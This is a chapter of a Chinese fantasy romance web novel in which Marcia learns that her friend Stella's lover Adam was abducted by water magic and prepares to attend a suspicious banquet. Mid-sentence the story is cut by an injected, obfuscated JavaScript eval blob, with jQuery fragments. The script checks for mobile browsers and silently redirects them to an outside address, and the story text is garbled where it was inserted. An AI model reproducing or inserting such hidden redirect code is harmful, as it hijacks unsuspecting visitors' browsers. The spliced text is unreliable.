平静的日子没能持续太久，这天早晨，玛西亚收到了由安琪小姐发出的宴会邀请函。


    宴会地点设在了具有悠久历史与美丽风景的镜湖庄园，并且，仅限本人参加。去王都郊外的庄园参加晚宴，大概率会被邀请留宿，这使玛西亚感到一丝刻意。


    应该是莱昂王子让安琪这么做的，他想给卡尔制造机会。只不过，没想到安琪小姐这么得宠，又这么配合。


    “爱情很神秘，婚姻很复杂，婚外情神秘又复杂。”


    她挠了挠头发，头痛了一会儿，问埃文，“你看得懂安琪小姐么？”


    埃文不敢乱下论断：“反正这种关系里最坏的家伙肯定是男人。安琪小姐和贝拉殿下本来可以没有任何交集的。”


    “那确实。”


    玛西亚回忆着安琪在人鱼壁画前的局促，以及后来她对贝拉殿下类似挑衅的举动，一阵想不通。安琪有时候像个无助的孩子，眼神脆弱而彷徨，有时候又像坩埚里的药液，冒着有毒的小泡泡。


    对于安琪，玛西亚只知道她是个投奔姑妈的乡下贵族孤女，然后成了莱昂王子的情妇。她本人是什么性格，又是怎么想的呢？没人说得清。


    玛西亚在心中默默拉出两列的表格，把安琪的名字写到了“不可信任”那一栏。


    “可以拒绝么？”埃文问。


    玛西亚本想说，她们两个并无私交，甚至可以说是陌生人。即便安琪小姐成为了镜湖庄园的主人，背后有莱昂王子的授意，拒绝她也不会有太大的压力。


    但当她拿起黑曜石拆信刀，启开下一封信后，她的脸色变了。


    “埃文，我想我没办法拒绝。”她把信递给他。


    埃文接过这两页信纸，从头到尾通读了一遍，只觉辞藻华丽，语句典雅，实际内容一句话就可以说完：我接受了安琪小姐的邀请，希望你也能一起去。


    除此之外，娟秀的字迹也令人印象深刻，信笺上钤印着槲寄生纹样的图章，高级的墨水与印泥散发出淡淡的花草香气。


    他疑惑地问：“为什么这位爱丝特拉雅·罗斯瓦尔小姐去，你就一定要去呢？”


    “因为爱丝特拉雅·罗斯瓦尔小姐就是斯黛拉。斯黛拉是罗斯瓦尔侯爵家的二女儿。上头一个姐姐，是财政大臣穆勒伯爵的妻子，是个美丽、温柔、安静的‘完美女人’。下面还有一个弟弟。是个没礼貌的混球。”


    混球？


    埃文还是第一次从玛西亚嘴里听到这种词，他还以为玛西亚不会骂人。玛西亚实力强悍，对小奸小坏的人，比如酒馆里的福克斯，态度颇为宽容，只一笑了之。而对真正的恶棍，如冰原上的克罗姆，则果断无情，不跟对方废话。


    只不过现在关注点不该在这儿，他忙问：“斯黛拉小姐被王室威胁了，对么？”


    玛西亚思索片刻，说：“不，卡尔既然要追求我，又怎么会为难我的朋友？那不是把我越推越远么。真正的问题是斯黛拉为什么会回家，她跟家里基本不联系。”


    玛西亚把这封信理解成斯黛拉在向她求救。


    “我们去猫尾街。”她要去找亚当。


    这是一座两层小楼，大门没锁。除了客厅，还有八个独立房间，玛西亚和埃文楼上楼下跑遍，每扇门都推开，还是没能见到亚当的影子。


    “玛西亚，亚当会不会出门去田里忙了？冬天不也有温室么。”


    玛西亚摇头：“亚当在休假。斯黛拉告诉我的，她亲口说他们这个冬天每时每刻都要腻在一起。”


    空空荡荡的房子已经令她不安，出门时，地面上突然闪烁的一点银光更让玛西亚后背生出阴恻恻的汗。


    她快步走向那点光芒，俯下身，一把将其握在手中，冰冷的金属质感与沉甸甸的重量印证了她最坏的那个猜测。


    埃文凑过来看，看到了一枚纯银胸针，三朵郁金香首尾相连，长叶缠卷，组成一个环形。


    “是亚当的东西，对么？”


    “是的。这是亚斯特四年一度的园艺大赛冠军奖章。亚当一直在自己热爱的领域耕耘，很珍惜这份荣誉……他只在重要的场合佩戴这枚胸针。”


    埃文立刻退回门厅，试着还原当日情景：“所以那天他戴着这枚胸针，可能还认真打扮了一下，从这里出门，走到这儿，胸针掉了。这胸针很重，地面也冻得硬邦邦的，应该会发出声音啊！正常来说，他应该弯腰捡起来。”


    他感觉不对劲。


    玛西亚看到埃文的步态，说：“亚当没这么风风火火，你走慢点，我再看。”


    埃文照做。


    玛西亚也发现了问题。


    “胸针掉在房门与院门中间，若门外有人闯进来袭击他，走这几步路的时间也足够他反应过来了。不会一点挣扎打斗的痕迹都没有。”


    她想了想，对埃文说：“你去厨房，看看橱柜里有没有一罐眠罗花蜜，紫色的蜂蜜。”


    埃文“嗯”了一声，快速地去搜寻。


    玛西亚克制心中的不安，冷静地观察院落里的一切，寻找疑点。


    杏树、柳树、秋千、水井。


    斯黛拉和亚当一起在这儿度过了四年时光，柳树是院子原来就有的老树，杏树是因为斯黛拉喜欢看杏花、吃果实，亚当为她种的。架好秋千后，他们立刻邀请玛西亚来玩儿。水井……水井是玛西亚上战场后打的新井，她也是上次来才看见。


    玛西亚走到井边，朝黑洞洞的井口看了一眼，当然什么都看不见。于是她摇动辘轳，放下一只木桶。井绳与辘轳之间摩擦着，发出令人牙齿发酸的声音。


    玛西亚把木桶送到深处，又一点点提起来。


    水，冰凉清澈的水。井水没有结冰。


    她把魔法凝聚在指尖，在空气中画出一只小虫，然后令这由火焰残影幻化的小虫飞入漆黑的井中。


    魔法痕迹不可视，只可用新的魔力去感知。萤探是一种侦查魔法，用魔法制造的小虫能捕捉到魔力在空间中的留存。


    片刻后，红色的光点从井中飞回，玛西亚把魔法重新吸收回体内，萤探感应到的施法证据缓慢地进入她的脑海。


    水魔法。水魔法师操纵着水流，从侧面悄无声息地攻击了亚当，将亚当卷进了井中，又掳去了其他地方。


    远程操纵如此巨量的水体，对方无疑是个很不错的魔法师。


    斯黛拉能力出众，但不擅战斗，在没防备的情况下，可能先亚当一步被人带回了侯爵府。


    这时，埃文回到她身边：“玛西亚！没有！每个橱柜我都仔细看过了。确定没有紫色的蜂蜜。”


    玛西亚大概知道是怎么回事了，眉头不由皱起。


    埃文问她：“眠罗花蜜是什么？”


    “眠罗，一种魔法蠕虫，它分泌的紫色黏液会裹住兰花种子。经过特殊的培育手段，以及精心养护，被黏液包裹的种子依然可以开花，那便是异常珍贵的眠罗花。眠罗花蜜有极强的止痛作用，价比黄金。亚当几乎从当学徒时就在攒这些花蜜……”


    她愤怒而悲伤地说出结论：“我猜，亚当想带着这罐眠罗花蜜去拜访罗斯瓦尔侯爵。”


    代表荣誉和技艺的胸针、昂贵且珍稀的礼物，领悟这些事物的意义后，埃文发出哀叹。


    “啊！如果女方的父亲铁了心拆散他们，怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086096|162042||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可能被一罐花蜜打动？”


    “你说得对，他有点太乐观了。”


    他们已经在父母反对的情况下，在一起四年了。并且，亚当深爱斯黛拉，没办法把她的父亲想象成特别坏的人。种种一切，导致他误判了事情的严重性。


    这无疑是罗斯瓦尔侯爵的手笔：绑了亚当，就能降服叛逆的女儿；带走了斯黛拉，亚当也会乖乖听话。


    玛西亚说：“如果放任不管，结局就是斯黛拉会被父亲嫁给不知道什么人，亚当……说不定会死。”


    埃文瞳孔震颤：“死？”


    玛西亚：“是啊，他们何时在乎过平民的性命呢。我得去赴宴，设法见斯黛拉一面，埃文，你在家等我，好么？”


    “玛西亚，你要去几天？”


    “最多三天。”她顿了顿，忽而想到了什么，告诉埃文，“钱柜钥匙在书房写字台左手边第二个抽屉里。”


    听了她的话，埃文的头脑像被一道白亮的闪电劈中，无数声音同时响起，乱纷纷快要耳鸣。


    这是什么意思？难道三天不回来玛西亚就会遭遇不测？他留在家里，能为她做点什么吗？是不是什么忙也帮不上……


    “这是给我散伙费，让我逃跑，对么？”


    他怎么想都想不出别的可能。


    生离死别的回忆又一次伸出触手，捆住了他，把他往漆黑的恐惧里拖拽，他不由自主地感到身体发冷，手指尖发麻，嘴里也有股奇怪的苦杏仁味儿。


    “如果是那样……能不能别……”他说不出口。


    他有什么立场去说别去？斯黛拉是玛西亚唯一的朋友。


    可这宴会看上去也像是一个陷阱。


    “玛西亚，我不要你的钱。我要你活着，玛西亚……”


    他语声落寞，声音细细发颤。


    虽然现在不该笑，没有任何发笑的氛围，玛西亚还是忍不住勾了勾嘴角。


    他又想到什么了啊。


    可埃文眼皮一眨，猝然流下眼泪。


    玛西亚能感受到他湿热的气息。他的嘴唇在颤抖，像两瓣在雨水中瑟瑟的花。


    “埃文，”她不敢再笑，连忙解释，“我其实是想说，你得付给剑术老师学费。”


    “学费？”


    “潘的水平很高，在前魔法时代，恐怕要被人尊称一声‘剑圣’，所以我允诺给他五个沃伦索一个月，希望他能教你点儿真东西。”


    埃文僵硬地怔住，泪水仍在惯性地往下流：“什、什么？所以三天后……”


    “三天后，我会带着斯黛拉的消息回来。”


    玛西亚认为，既然卡尔一直想和自己结婚，也许会耍花招，但归根结底，在得手之前他都要围着玛西亚转，危险又能危险到哪儿去？


    “埃文，别哭。你牢牢记住，我很强。不然卡尔干嘛费尽苦心非要娶我？还不是因为他们拿我没辙。”


    玛西亚开始用拇指给他抹泪，指腹滑过他柔软的皮肤，她心想，真是好年轻的一张脸。以后得注意些，别再话说一半吓到他。


    埃文的大脑变得无比混乱。


    冷静了好一会儿，他才意识到自己突然的情绪化很拖她后腿。于是，他艰难地说出半句：“我会努力……”


    隔着泪，视线模糊，他只能看到玛西亚的眼睛，温暖的绿色与冷冽的蓝色结合在一起，融化厚雪坚冰，一股春意将他淹没。


    此时此刻，他们距离很近，他小声却坚定地说：“我会努力学剑术。玛西亚，相信我，相信我。”


    “好哦。”


    小心收起亚当的胸针，又帮斯黛拉锁好门，他们离开了猫尾街。